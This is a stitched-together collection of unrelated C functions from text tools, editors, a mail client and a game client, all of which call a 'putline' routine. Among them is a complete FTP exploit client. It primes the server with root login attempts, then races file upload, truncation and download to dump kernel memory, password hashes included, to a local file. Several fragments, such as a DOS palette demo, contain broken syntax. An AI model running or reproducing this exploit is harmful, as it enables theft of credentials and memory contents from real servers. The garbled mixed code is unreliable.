static int put1(void) { /* len1 = length of left side */ /* nchars = num of chars including tabs */ char *bp; if ((bp = fgetline(fdes1)) != NULL) { len1 = getlen(0, bp); if ((!silent || change != ' ') && len1 != 0) putline(stdout, bp, nchars); if (oflag) { /* * put left side either to output file * if identical to right * or left temp file if not */ if (change == ' ') putline(odes, bp, strlen(bp)); else putline(left, bp, strlen(bp)); } if (change != ' ') putmid(1); num1++; return (1); } else return (0); }
/* ----------------------------------------------------------------------- */ void printfrom(char *start, FILE *f) { switch(caseflag) { case FROM_TOP_NORMAL: start = buf; while (fgets(buf, MAXLINE, f)) putline(start); if (wait_at_end == YES) wait_for_more(f); /*(never returns from here*/ break; case FROM_BOTTOM_NORMAL: while (start) { putline(start); start = forwardoneline(start, eob); } if (wait_at_end == YES) wait_for_more(f); /*(never returns from here*/ break; case FROM_TOP_POLISH: case FROM_BOTTOM_POLISH: while (start) { putline(start); start = backoneline(start, buf); } break; } }
/********************************************************************** Set city icons sprite value; should only happen after tileset_load_tiles(tileset). ***********************************************************************/ void tilespec_setup_city_icons(void) { struct sprite *pSpr = NULL; pIcons = ( struct City_Icon *)fc_calloc(1, sizeof( struct City_Icon )); load_city_icon_surface(pSpr, pBIG_Food_Corr, "city.food_waste"); load_city_icon_surface(pSpr, pBIG_Shield_Corr, "city.shield_waste"); load_city_icon_surface(pSpr, pBIG_Trade_Corr, "city.trade_waste"); load_city_icon_surface(pSpr, pBIG_Food, "city.food"); pIcons->pBIG_Food_Surplus = crop_rect_from_surface(pIcons->pBIG_Food, NULL); SDL_SetAlpha(pIcons->pBIG_Food_Surplus, SDL_SRCALPHA, 128); load_city_icon_surface(pSpr, pBIG_Shield, "city.shield"); pIcons->pBIG_Shield_Surplus = crop_rect_from_surface(pIcons->pBIG_Shield, NULL); SDL_SetAlpha(pIcons->pBIG_Shield_Surplus, SDL_SRCALPHA, 128); load_city_icon_surface(pSpr, pBIG_Trade, "city.trade"); load_city_icon_surface(pSpr, pBIG_Luxury, "city.lux"); load_city_icon_surface(pSpr, pBIG_Coin, "city.coin"); load_city_icon_surface(pSpr, pBIG_Colb, "city.colb"); load_city_icon_surface(pSpr, pBIG_Face, "city.red_face"); load_city_icon_surface(pSpr, pBIG_Coin_Corr, "city.dark_coin"); load_city_icon_surface(pSpr, pBIG_Coin_UpKeep, "city.unkeep_coin"); /* small icon */ load_city_icon_surface(pSpr, pFood, "city.small_food"); load_city_icon_surface(pSpr, pShield, "city.small_shield"); load_city_icon_surface(pSpr, pTrade, "city.small_trade"); load_city_icon_surface(pSpr, pFace, "city.small_red_face"); load_city_icon_surface(pSpr, pLuxury, "city.small_lux"); load_city_icon_surface(pSpr, pCoin, "city.small_coin"); load_city_icon_surface(pSpr, pColb, "city.small_colb"); load_city_icon_surface(pSpr, pPollution, "city.pollution"); /* ================================================================= */ load_city_icon_surface(pSpr, pPolice, "city.police"); /* ================================================================= */ pIcons->pWorklist = create_surf_alpha(9,9, SDL_SWSURFACE); SDL_FillRect(pIcons->pWorklist, NULL, SDL_MapRGB(pIcons->pWorklist->format, 255, 255,255)); putframe(pIcons->pWorklist, 0,0, pIcons->pWorklist->w - 1, pIcons->pWorklist->h - 1, map_rgba(pIcons->pWorklist->format, *get_game_colorRGB(COLOR_THEME_CITYREP_FRAME))); putline(pIcons->pWorklist, 3, 2, 5, 2, map_rgba(pIcons->pWorklist->format, *get_game_colorRGB(COLOR_THEME_CITYREP_FRAME))); putline(pIcons->pWorklist, 3, 4, 7, 4, map_rgba(pIcons->pWorklist->format, *get_game_colorRGB(COLOR_THEME_CITYREP_FRAME))); putline(pIcons->pWorklist, 3, 6, 6, 6, map_rgba(pIcons->pWorklist->format, *get_game_colorRGB(COLOR_THEME_CITYREP_FRAME))); /* ================================================================= */ /* force reload citizens icons */ pIcons->style = 999; }
int main(void) { //putline(msg); //putline(msg); for (;;) { getline(line); putline(msg); putline(line); putline(newline); } return 0; }
int domore(char *dataln) { int icol, ch; if (prefix(".TE", dataln)) return(0); if (dataln[0] == '.' && !isdigit((uchar)dataln[1])) { Bprint(&tabout, "%s\n", dataln); return(1); } fullbot[0] = 0; instead[0] = (char *)0; if (dataln[1] == 0) switch (dataln[0]) { case '_': fullbot[0] = '-'; putline(useln, 0); return(1); case '=': fullbot[0] = '='; putline(useln, 0); return(1); } for (icol = 0; icol < ncol; icol++) { table[0][icol].col = dataln; table[0][icol].rcol = 0; for (; (ch = *dataln) != '\0' && ch != tab; dataln++) ; *dataln++ = '\0'; switch (ctype(useln, icol)) { case 'n': table[0][icol].rcol = maknew(table[0][icol].col); break; case 'a': table[0][icol].rcol = table[0][icol].col; table[0][icol].col = ""; break; } while (ctype(useln, icol + 1) == 's') /* spanning */ table[0][++icol].col = ""; if (ch == '\0') break; } while (++icol < ncol) table[0][icol].col = ""; putline(useln, 0); exstore = exspace; /* reuse space for numerical items */ return(1); }
int append(int (*f)(void), int *a) { int *a1, *a2, *rdot, nline, tl; nline = 0; dot = a; while((*f)() == 0) { if((dol-zero) >= nlall) { nlall += 512; a1 = realloc(zero, (nlall+5)*sizeof(int*)); if(a1 == 0) { error("MEM?"); rescue(); } tl = a1 - zero; /* relocate pointers */ zero += tl; addr1 += tl; addr2 += tl; dol += tl; dot += tl; } tl = putline(); nline++; a1 = ++dol; a2 = a1+1; rdot = ++dot; while(a1 > rdot) *--a2 = *--a1; *rdot = tl; } return nline; }
int append(int (*f)(void), unsigned int *a) { unsigned int *a1, *a2, *rdot; int nline, tl; nline = 0; dot = a; while ((*f)() == 0) { if ((dol-zero)+1 >= nlall) { unsigned *ozero = zero; nlall += 1024; if ((zero = (unsigned *)realloc((char *)zero, nlall*sizeof(unsigned)))==NULL) { error("MEM?"); onhup(0); } dot += zero - ozero; dol += zero - ozero; } tl = putline(); nline++; a1 = ++dol; a2 = a1+1; rdot = ++dot; while (a1 > rdot) *--a2 = *--a1; *rdot = tl; } return(nline); }
/* * handleHeader - scan through and process header information */ static void handleHeader( int *start, SAREA *line ) { int cur; cur = 0; if( strnicmp( helpInBuf, ":h", 2 ) == 0 ) { for( ;; ) { if( !mygetline() ) break; if( strnicmp( helpInBuf, ":t", 2 ) == 0 ) break; if( strnicmp( helpInBuf, ":eh", 3 ) == 0 ) break; processLine( helpInBuf, helpOutBuf, cur, false ); putline( helpOutBuf, cur ); cur ++; } line->row = cur; uivfill( &helpScreen, *line, AT( ATTR_NORMAL ), UiGChar[UI_SBOX_HORIZ_LINE] ); cur++; topPos = HelpTell( helpFileHdl ); if( strnicmp( helpInBuf, ":eh", 3 ) == 0 ) { mygetline(); } } *start = cur; }
/* * handleFooter - scan through and process footer information */ static void handleFooter( int *startline, SAREA *use, SAREA *line ) { int start; start = *startline; if( strnicmp( helpInBuf, ":t", 2 ) == 0 ) { ++start; /* leave room for line */ for( ;; ) { if( !mygetline() ) break; if( strnicmp( helpInBuf, ":et", 3 ) == 0 ) break; processLine( helpInBuf, helpOutBuf, start, false ); putline( helpOutBuf, start ); ++start; } vscroll_fields( &helpTab, *use, start - use->row - use->height ); vvscroll( &helpScreen, *use, start - use->row - use->height ); use->height -= start - use->row; line->row = use->row + use->height; uivfill( &helpScreen, *line, AT( ATTR_NORMAL ), UiGChar[UI_SBOX_HORIZ_LINE] ); topPos = HelpTell( helpFileHdl ); } *startline = start; }
void HUDConsole::println(const char* fmt, ...){ char buffer[1024] = {0}; va_list vlist; va_start(vlist, fmt); vsprintf(buffer, fmt, vlist); va_end(vlist); putline(buffer); }
static void copy_file(FILE *target, FILE *source) { static char line[MAX_STRING_LEN]; while (!(getline(line, MAX_STRING_LEN, source))) { putline(target, line); } }
static void print_array_in_reverse (char *array, int size) { if (size <= 0) return; size--; if (array[size] == '\0') array[size] = '\n'; while (--size >= 0) if (array[size] == '\n') putline (array + size + 1); putline (array); }
int domore(char *dataln) { int icol, ch; if (prefix(".TE", dataln)) return(0); if (dataln[0] == '.' && !isdigit(dataln[1])) { puts(dataln); return(1); } instead[0]=0; fullbot[0]=0; if (dataln[1]==0) switch(dataln[0]) { case '_': fullbot[0]= '-'; putline(useln,0); return(1); case '=': fullbot[0]= '='; putline(useln, 0); return(1); } for (icol = 0; icol <ncol; icol++) { table[0][icol].col = dataln; table[0][icol].rcol=0; for(; (ch= *dataln) != '\0' && ch != tab; dataln++) ; *dataln++ = '\0'; switch(ctype(useln,icol)) { case 'n': table[0][icol].rcol = (char *)maknew(table[0][icol].col); break; case 'a': table[0][icol].rcol = table[0][icol].col; table[0][icol].col= ""; break; } while (ctype(useln,icol+1)== 's') /* spanning */ table[0][++icol].col = ""; if (ch == '\0') break; } while (++icol <ncol) table[0][icol].col = ""; putline(useln,0); return(1); }
static int put2(void) { char *bp; if ((bp = fgetline(fdes2)) != NULL) { (void) getlen((hlen + WGUTTER) % 8, bp); /* * if the left and right are different they are always * printed. * If the left and right are identical * right is only printed if leftonly is not specified * or silent mode is not specified * or the right contains other than white space (len1 !=0) */ if (change != ' ') { /* * put right side to right temp file only * because left side was written to output for * identical lines */ if (oflag) putline(right, bp, strlen(bp)); if (midflg == 0) putmid(1); putline(stdout, bp, nchars); } else if (!silent && !leftonly && len1 != 0) { if (midflg == 0) putmid(1); putline(stdout, bp, nchars); } num2++; len1 = 0; return (1); } else { len1 = 0; return (0); } }
/* ----------------------------------------------------------------------- */ void wait_for_more(FILE *f) { while (1) /* Do Forever */ { sleep(1); while (fgets(buf, MAXLINE, f)) putline(buf); } } /* program can never reach this point */
int main(int argc, char** argv) { if(!check_params(argc, argv)) { putline("0"); return (0); } do_op(argv[i], argv[2], argv[3]); return (0); }
main() { union REGS r; char b[128]; long table[16]; int i,j,n; clrscr(); initpalette(); /* do the screen */ for(i=0;i<16;++i) table[i]=RGB(0,0,i<<4); setuppalette(table); /*unusual loop */ for(b[0]=0;strlen[b]+4<=80;strcat(b,BLUE)); /* show */ for(i=0;i<16;++i) putline(0,2+i,i,b); getch(); /* animation */ for(n=0, j=1;!kbhit(); n+=j) { for(i=0;i<16;++i) table[i]=RGB(0,0,i*n); setuppalette(table); if(n>=16) j=-1; else if(n<=0) j=1; delay(50); } getch(); clrscr(); /* using designer palette*/ putbanner(2,1,"electric blue"); putbanner(3,2,"ocean green"); putbanner(4,3,"light green"); putbanner(5,4,"chalk"); putbanner(6,5,"autumn orange"); putbanner(7,6,"sand"); putbanner(8,7,"walnut"); putbanner(9,8,"crimson"); putbanner(10,9,"dusty rose"); putbanner(11,10,"neon purple"); putbanner(12,11,"black"); putbanner(13,12,"cyan"); putbanner(14,13,"green"); putbanner(15,14,"yellow"); putbanner(16,15,"white"); getch(); clrscr(); /* back to same colours */ r.x.ax=0X0003; int 86(0X10,&r,&r); }
size_t CharacterProtocol::save(const StringPager *list) { size_t used = 0; if(!list) return 0; StringPager::iterator sp = list->begin(); while(is(sp) && putline(sp->get())) { ++used; sp.next(); } return used; }
/* * scrollHelp - refresh the displayed help after a scrolling operation */ static int scrollHelp( SAREA *use, int lastline, bool changecurr ) { int useline; int scroll; int start; int end; scroll = currLine - lastline; vscroll_fields( &helpTab, *use, scroll ); vvscroll( &helpScreen, *use, scroll ); currentAttr = AT( ATTR_NORMAL ); if( abs(scroll) >= use->height ) { start = currLine; end = start + use->height; } else if( scroll < 0 ) { start = currLine; end = start - scroll; } else { start = currLine + use->height - scroll; end = start + scroll; } seek_line( start ); for( ;; ++start ) { save_line( start, HelpTell( helpFileHdl ) ); if( !mygetline() || strncmp( helpInBuf, "::::", 4 ) == 0 ) { maxLine = start; break; } useline = start - currLine; if( useline >= use->height || start >= end ) { break; } /* if it is the first time in, then the old currfield is right */ processLine( helpInBuf, helpOutBuf, useline + use->row, changecurr ); putline( helpOutBuf, useline + use->row ); } end = currLine + use->height; if( maxLine != 0 && end > maxLine ) { end = maxLine; } display_fields(); hotSpots[1].startcol = ( helpScreen.area.width - hotSpots[1].length ) / 2; addSearchButton( helpSearchHdl != NULL ); uiposnhotspots( &helpScreen, hotSpotFields ); uiprinthotspots( &helpScreen, hotSpotFields ); set_slider( currLine ); uirefresh(); return( currLine ); }
void newstats(register struct packet *pkt, register char *strp, register char *ch) { char fivech[6]; register char *r; int i; r = fivech; for (i=0; i < 5; i++) *r++ = *ch; *r = '\0'; sprintf(strp,"%c%c %s/%s/%s\n",CTLCHAR,STATS,fivech,fivech,fivech); putline(pkt,strp); }
void substitute(int inglob) { int *mp, *a1, nl, gsubf, n; n = getnum(); /* OK even if n==0 */ gsubf = compsub(); for(a1 = addr1; a1 <= addr2; a1++) { if(match(a1)){ int *ozero; int m = n; do { int span = loc2-loc1; if(--m <= 0) { dosub(); if(!gsubf) break; if(span == 0) { /* null RE match */ if(*loc2 == 0) break; loc2++; } } } while(match(0)); if(m <= 0) { inglob |= 01; subnewa = putline(); *a1 &= ~01; if(anymarks) { for(mp=names; mp<&names[26]; mp++) if(*mp == *a1) *mp = subnewa; } subolda = *a1; *a1 = subnewa; ozero = zero; nl = append(getsub, a1); addr2 += nl; nl += zero-ozero; a1 += nl; } } } if(inglob == 0) error(Q); }
void join(void) { char *gp, *lp; unsigned int *a1; nonzero(); gp = genbuf; for (a1=addr1; a1<=addr2; a1++) { lp = getline(*a1); while (*gp = *lp++) if (gp++ >= &genbuf[LBSIZE-2]) error(Q); } lp = linebuf; gp = genbuf; while (*lp++ = *gp++) ; *addr1 = putline(); if (addr1<addr2) rdelete(addr1+1, addr2); dot = addr1; }
void runout(void) { int i; if (boxflg || allflg || dboxflg) need(); if (ctrflg) { fprintf(tabout, ".nr #I \\n(.i\n"); fprintf(tabout, ".in +(\\n(.lu-\\n(TWu-\\n(.iu)/2u\n"); } fprintf(tabout, ".fc %c %c\n", F1, F2); fprintf(tabout, ".nr #T 0-1\n"); deftail(); for(i=0; i<nlin; i++) putline(i,i); if (leftover) yetmore(); fprintf(tabout, ".fc\n"); fprintf(tabout, ".nr T. 1\n"); fprintf(tabout, ".T# 1\n"); if (ctrflg) fprintf(tabout, ".in \\n(#Iu\n"); }
int append(int (*f)(void), int *a) { int *a1, *a2, *rdot, nline, d; nline = 0; dot = a; while((*f)() == 0) { if((dol-zero) >= nlall) { nlall += 512; a1 = realloc(zero, (nlall+50)*sizeof(int*)); if(a1 == 0) { error("MEM?"); rescue(); } /* relocate pointers; avoid wraparound if sizeof(int) < sizeof(int*) */ d = addr1 - zero; addr1 = a1 + d; d = addr2 - zero; addr2 = a1 + d; d = dol - zero; dol = a1 + d; d = dot - zero; dot = a1 + d; zero = a1; } d = putline(); nline++; a1 = ++dol; a2 = a1+1; rdot = ++dot; while(a1 > rdot) *--a2 = *--a1; *rdot = d; } return nline; }
int main(int argc, char *argv[]) { extern int optind; extern char *optarg; int s,s2,s3,s4,nsock,nsock2; int c,k,len; int fd,lockfd; int total_kmem_size=0; char *target = NULL; char *username = NULL; char *password = NULL; char *writeto = "."; char *targetport = "21"; char *myip = NULL; char *myip2 = NULL; char *myip3 = NULL; int octet_in[4], port; struct sockaddr_in yo, yo2, cli, cli2; char *oct = NULL; while ((c = getopt(argc, argv, "h:i:p:l:k:d:s:")) != EOF) { switch(c) { case 'h': target = (char*)malloc(strlen(optarg)+1); strcpy(target, optarg); break; case 'i': myip = (char*)malloc(strlen(optarg)+1); strcpy(myip, optarg); myip2 = (char*)malloc(strlen(optarg)+1); strcpy(myip2, optarg); myip3 = (char*)malloc(strlen(optarg)+1); strcpy(myip3, optarg); break; case 'p': targetport = (char*)malloc(strlen(optarg)+1); strcpy(targetport, optarg); break; case 'l': username = (char*)malloc(strlen(optarg)+1); strcpy(username, optarg); break; case 'k': password = (char*)malloc(strlen(optarg)+1); strcpy(password, optarg); break; case 'd': writeto = (char*)malloc(strlen(optarg)+1); strcpy(writeto, optarg); break; case 's': total_kmem_size = atoi(optarg); break; default: usage(argv[0]); } } if (target == NULL || myip == NULL) usage(argv[0]); if (total_kmem_size < 10) { printf("size must be greater or equal 10.\n"); usage(argv[0]); } if (username == NULL || password == NULL) { usage(argv[0]); } s = createconnection(target, targetport); getline(s); fprintf(stderr, "populating root hash in memory...\n"); for (k=0;k<3;k++) { snprintf(out, sizeof out, "USER root\r\n"); putline(s, out); getline(s); snprintf(out, sizeof out, "PASS abcdef\r\n"); putline(s,out); getline(s); } fprintf(stderr, "logging in...\n"); snprintf(out, sizeof out, "USER %s\r\n", username); putline(s, out); getline(s); snprintf(out, sizeof out, "PASS %s\r\n", password); putline(s,out); getline(s); fprintf(stderr, "changing to writeable directory...\n"); snprintf(out, sizeof out, "CWD %s\r\n", writeto); putline(s, out); getline(s); fprintf(stderr, "putting file. this may take some time (%dMB)...\n", total_kmem_size); snprintf(out, sizeof out, "TYPE I\r\n"); putline(s, out); getline(s); port = getpid() + 2048; len = sizeof(cli); bzero(&yo, sizeof(yo)); yo.sin_family = AF_INET; yo.sin_port=htons(port); yo.sin_addr.s_addr = htonl(INADDR_ANY); oct=(char *)strtok(myip,"."); octet_in[0]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[1]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[2]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[3]=atoi(oct); snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256); putline(s, out); getline(s); if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); return -1; } if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) { perror("bind"); close(s2); exit(1); } if (listen(s2, 10) < 0) { perror("listen"); close(s2); exit(1); } snprintf(out, sizeof out, "STOR kernelmemory\r\n"); putline(s, out); getline(s); sleep(1); if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) { perror("accept"); close(s); exit(1); } k=0; char *out3=NULL; out3 = (char*)malloc(1024*1024*10); if (out3 == NULL) { perror("malloc"); exit(0); } memset(out3, 'C', 10*1024*1024); do { k += write(nsock, out3, 10*1024*1024); if (k % 1000 == 0) fprintf(stderr, "\r\r\r%d|%d ", k, total_kmem_size * 1024 * 1024); } while (k < total_kmem_size * 1024 * 1024); free(out3); close(nsock); close(fd); getline(s); fprintf(stderr, "getting file...\n"); fprintf(stderr, "forking truncate process into background.\n"); unlink("exploit.lck"); if (fork() == 0) { fprintf(stderr, "=====START TRUNCATE FILE PROCESS ======\n"); s3 = createconnection(target, targetport); getline(s3); snprintf(out, sizeof out, "USER %s\r\n", username); putline(s3, out); getline(s3); snprintf(out, sizeof out, "PASS %s\r\n", password); putline(s3,out); getline(s3); while(1) { if (open("exploit.lck", O_RDONLY) > 0) { break; } } snprintf(out, sizeof out, "TYPE I\r\n"); putline(s3, out); getline(s3); port = getpid() + 4000; len = sizeof(cli2); bzero(&yo2, sizeof(yo2)); yo2.sin_family = AF_INET; yo2.sin_port=htons(port); yo2.sin_addr.s_addr = htonl(INADDR_ANY); oct=(char *)strtok(myip3,"."); octet_in[0]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[1]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[2]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[3]=atoi(oct); snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256); putline(s3, out); getline(s3); if ((s4=socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); return -1; } if ((bind(s4, (struct sockaddr *) &yo2, sizeof(yo2))) < 0) { perror("bind"); close(s3); exit(1); } if (listen(s4, 10) < 0) { perror("listen"); close(s2); exit(1); } snprintf(out, sizeof out, "STOR kernelmemory\r\n"); putline(s3, out); getline(s3); sleep(1); if ((nsock2 = accept(s4, (struct sockaddr *)&cli2, &len)) < 0) { perror("accept"); close(s); exit(1); } close(nsock2); close(fd); close(s4); fprintf(stderr, "=====END TRUNCATE FILE PROCESS ======\n\n"); fprintf(stderr, "Wait for the download to complete...\n"); while(1); } snprintf(out, sizeof out, "REST 0\r\n"); putline(s, out); getline(s); snprintf(out, sizeof out, "TYPE I\r\n"); putline(s, out); getline(s); port = getpid() + 1024; len = sizeof(cli); bzero(&yo, sizeof(yo)); yo.sin_family = AF_INET; yo.sin_port=htons(port); yo.sin_addr.s_addr = htonl(INADDR_ANY); oct=(char *)strtok(myip2,"."); octet_in[0]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[1]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[2]=atoi(oct); oct=(char *)strtok(NULL,"."); octet_in[3]=atoi(oct); snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256); putline(s, out); getline(s); if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); return -1; } if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) { perror("bind"); close(s2); exit(1); } if (listen(s2, 10) < 0) { perror("listen"); close(s2); exit(1); } snprintf(out, sizeof out, "CWD %s\r\n", writeto); putline(s, out); getline(s); snprintf(out, sizeof out, "RETR kernelmemory\r\n"); putline(s, out); getline(s); sprintf(out, "kernelmemory.%d", getpid()); fprintf(stderr, "saving kernel memory to >>> %s <<<\n", out); fd = open(out, O_WRONLY | O_CREAT, 0777); if (fd == -1) { perror("open on local 'kernelmemory' file"); close(s); exit(1); } sleep(1); if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) { perror("accept"); close(s); exit(1); } int k2=0; char *in2 = (char*)malloc(1024*1024*10); if (in2 == NULL) { perror("malloc"); exit(0); } do { k = recv(nsock, in2, 1024*1024*10, 0); if (k < 1) break; k2+=k; // if (k2 % 1000 == 0) fprintf(stderr, "\r\r\rREAD=%d BYTES ", k2); if (k2 > 1024) { lockfd = open("exploit.lck", O_CREAT|O_RDWR, 0777); sleep(1); close(lockfd); } write(fd, in2, k); } while (k > 0); free(in2); getline(s); close(nsock); close(fd); close(s); }
FILE * collect(struct header *hp, int printheaders) { FILE *fbuf; int lc, cc, escape, eofcount, fd, c, t; char linebuf[LINESIZE], tempname[PATHSIZE], *cp, getsub; sigset_t nset; int longline, lastlong, rc; /* So we don't make 2 or more lines out of a long input line. */ collf = NULL; /* * Start catching signals from here, but we're still die on interrupts * until we're in the main loop. */ (void)sigemptyset(&nset); (void)sigaddset(&nset, SIGINT); (void)sigaddset(&nset, SIGHUP); (void)sigprocmask(SIG_BLOCK, &nset, NULL); if ((saveint = signal(SIGINT, SIG_IGN)) != SIG_IGN) (void)signal(SIGINT, collint); if ((savehup = signal(SIGHUP, SIG_IGN)) != SIG_IGN) (void)signal(SIGHUP, collhup); savetstp = signal(SIGTSTP, collstop); savettou = signal(SIGTTOU, collstop); savettin = signal(SIGTTIN, collstop); if (setjmp(collabort) || setjmp(colljmp)) { (void)rm(tempname); goto err; } (void)sigprocmask(SIG_UNBLOCK, &nset, NULL); noreset++; (void)snprintf(tempname, sizeof(tempname), "%s/mail.RsXXXXXXXXXX", tmpdir); if ((fd = mkstemp(tempname)) == -1 || (collf = Fdopen(fd, "w+")) == NULL) { warn("%s", tempname); goto err; } (void)rm(tempname); /* * If we are going to prompt for a subject, * refrain from printing a newline after * the headers (since some people mind). */ t = GTO|GSUBJECT|GCC|GNL; getsub = 0; if (hp->h_subject == NULL && value("interactive") != NULL && (value("ask") != NULL || value("asksub") != NULL)) t &= ~GNL, getsub++; if (printheaders) { puthead(hp, stdout, t); (void)fflush(stdout); } if ((cp = value("escape")) != NULL) escape = *cp; else escape = ESCAPE; eofcount = 0; hadintr = 0; lastlong = 0; longline = 0; if (!setjmp(colljmp)) { if (getsub) grabh(hp, GSUBJECT); } else { /* * Come here for printing the after-signal message. * Duplicate messages won't be printed because * the write is aborted if we get a SIGTTOU. */ cont: if (hadintr) { (void)fflush(stdout); fprintf(stderr, "\n(Interrupt -- one more to kill letter)\n"); } else { printf("(continue)\n"); (void)fflush(stdout); } } for (;;) { colljmp_p = 1; c = readline(stdin, linebuf, LINESIZE); colljmp_p = 0; if (c < 0) { if (value("interactive") != NULL && value("ignoreeof") != NULL && ++eofcount < 25) { printf("Use \".\" to terminate letter\n"); continue; } break; } lastlong = longline; longline = c == LINESIZE - 1; eofcount = 0; hadintr = 0; if (linebuf[0] == '.' && linebuf[1] == '\0' && value("interactive") != NULL && !lastlong && (value("dot") != NULL || value("ignoreeof") != NULL)) break; if (linebuf[0] != escape || value("interactive") == NULL || lastlong) { if (putline(collf, linebuf, !longline) < 0) goto err; continue; } c = linebuf[1]; switch (c) { default: /* * On double escape, just send the single one. * Otherwise, it's an error. */ if (c == escape) { if (putline(collf, &linebuf[1], !longline) < 0) goto err; else break; } printf("Unknown tilde escape.\n"); break; case 'C': /* * Dump core. */ core(); break; case '!': /* * Shell escape, send the balance of the * line to sh -c. */ shell(&linebuf[2]); break; case ':': case '_': /* * Escape to command mode, but be nice! */ execute(&linebuf[2], 1); goto cont; case '.': /* * Simulate end of file on input. */ goto out; case 'q': /* * Force a quit of sending mail. * Act like an interrupt happened. */ hadintr++; collint(SIGINT); exit(1); case 'x': /* * Exit, do not save in dead.letter. */ goto err; case 'h': /* * Grab a bunch of headers. */ grabh(hp, GTO|GSUBJECT|GCC|GBCC); goto cont; case 't': /* * Add to the To list. */ hp->h_to = cat(hp->h_to, extract(&linebuf[2], GTO)); break; case 's': /* * Set the Subject line. */ cp = &linebuf[2]; while (isspace((unsigned char)*cp)) cp++; hp->h_subject = savestr(cp); break; case 'R': /* * Set the Reply-To line. */ cp = &linebuf[2]; while (isspace((unsigned char)*cp)) cp++; hp->h_replyto = savestr(cp); break; case 'c': /* * Add to the CC list. */ hp->h_cc = cat(hp->h_cc, extract(&linebuf[2], GCC)); break; case 'b': /* * Add to the BCC list. */ hp->h_bcc = cat(hp->h_bcc, extract(&linebuf[2], GBCC)); break; case 'i': case 'A': case 'a': /* * Insert named variable in message. */ switch(c) { case 'i': cp = &linebuf[2]; while(isspace((unsigned char)*cp)) cp++; break; case 'a': cp = "sign"; break; case 'A': cp = "Sign"; break; default: goto err; } if(*cp != '\0' && (cp = value(cp)) != NULL) { printf("%s\n", cp); if(putline(collf, cp, 1) < 0) goto err; } break; case 'd': /* * Read in the dead letter file. */ if (strlcpy(linebuf + 2, getdeadletter(), sizeof(linebuf) - 2) >= sizeof(linebuf) - 2) { printf("Line buffer overflow\n"); break; } /* FALLTHROUGH */ case 'r': case '<': /* * Invoke a file: * Search for the file name, * then open it and copy the contents to collf. */ cp = &linebuf[2]; while (isspace((unsigned char)*cp)) cp++; if (*cp == '\0') { printf("Interpolate what file?\n"); break; } cp = expand(cp); if (cp == NULL) break; if (*cp == '!') { /* * Insert stdout of command. */ char *sh; int nullfd, tempfd, rc; char tempname2[PATHSIZE]; if ((nullfd = open(_PATH_DEVNULL, O_RDONLY, 0)) == -1) { warn(_PATH_DEVNULL); break; } (void)snprintf(tempname2, sizeof(tempname2), "%s/mail.ReXXXXXXXXXX", tmpdir); if ((tempfd = mkstemp(tempname2)) == -1 || (fbuf = Fdopen(tempfd, "w+")) == NULL) { warn("%s", tempname2); break; } (void)unlink(tempname2); if ((sh = value("SHELL")) == NULL) sh = _PATH_CSHELL; rc = run_command(sh, 0, nullfd, fileno(fbuf), "-c", cp+1, NULL); close(nullfd); if (rc < 0) { (void)Fclose(fbuf); break; } if (fsize(fbuf) == 0) { fprintf(stderr, "No bytes from command \"%s\"\n", cp+1); (void)Fclose(fbuf); break; } rewind(fbuf); } else if (isdir(cp)) { printf("%s: Directory\n", cp); break; } else if ((fbuf = Fopen(cp, "r")) == NULL) { warn("%s", cp); break; } printf("\"%s\" ", cp); (void)fflush(stdout); lc = 0; cc = 0; while ((rc = readline(fbuf, linebuf, LINESIZE)) >= 0) { if (rc != LINESIZE - 1) lc++; if ((t = putline(collf, linebuf, rc != LINESIZE - 1)) < 0) { (void)Fclose(fbuf); goto err; } cc += t; } (void)Fclose(fbuf); printf("%d/%d\n", lc, cc); break; case 'w': /* * Write the message on a file. */ cp = &linebuf[2]; while (*cp == ' ' || *cp == '\t') cp++; if (*cp == '\0') { fprintf(stderr, "Write what file!?\n"); break; } if ((cp = expand(cp)) == NULL) break; rewind(collf); exwrite(cp, collf, 1); break; case 'm': case 'M': case 'f': case 'F': /* * Interpolate the named messages, if we * are in receiving mail mode. Does the * standard list processing garbage. * If ~f is given, we don't shift over. */ if (forward(linebuf + 2, collf, tempname, c) < 0) goto err; goto cont; case '?': if ((fbuf = Fopen(_PATH_TILDE, "r")) == NULL) { warn("%s", _PATH_TILDE); break; } while ((t = getc(fbuf)) != EOF) (void)putchar(t); (void)Fclose(fbuf); break; case 'p': /* * Print out the current state of the * message without altering anything. */ rewind(collf); printf("-------\nMessage contains:\n"); puthead(hp, stdout, GTO|GSUBJECT|GCC|GBCC|GNL); while ((t = getc(collf)) != EOF) (void)putchar(t); goto cont; case '|': /* * Pipe message through command. * Collect output as new message. */ rewind(collf); mespipe(collf, &linebuf[2]); goto cont; case 'v': case 'e': /* * Edit the current message. * 'e' means to use EDITOR * 'v' means to use VISUAL */ rewind(collf); mesedit(collf, c); goto cont; } } goto out; err: if (collf != NULL) { (void)Fclose(collf); collf = NULL; } out: if (collf != NULL) rewind(collf); noreset--; (void)sigprocmask(SIG_BLOCK, &nset, NULL); (void)signal(SIGINT, saveint); (void)signal(SIGHUP, savehup); (void)signal(SIGTSTP, savetstp); (void)signal(SIGTTOU, savettou); (void)signal(SIGTTIN, savettin); (void)sigprocmask(SIG_UNBLOCK, &nset, NULL); return (collf); }
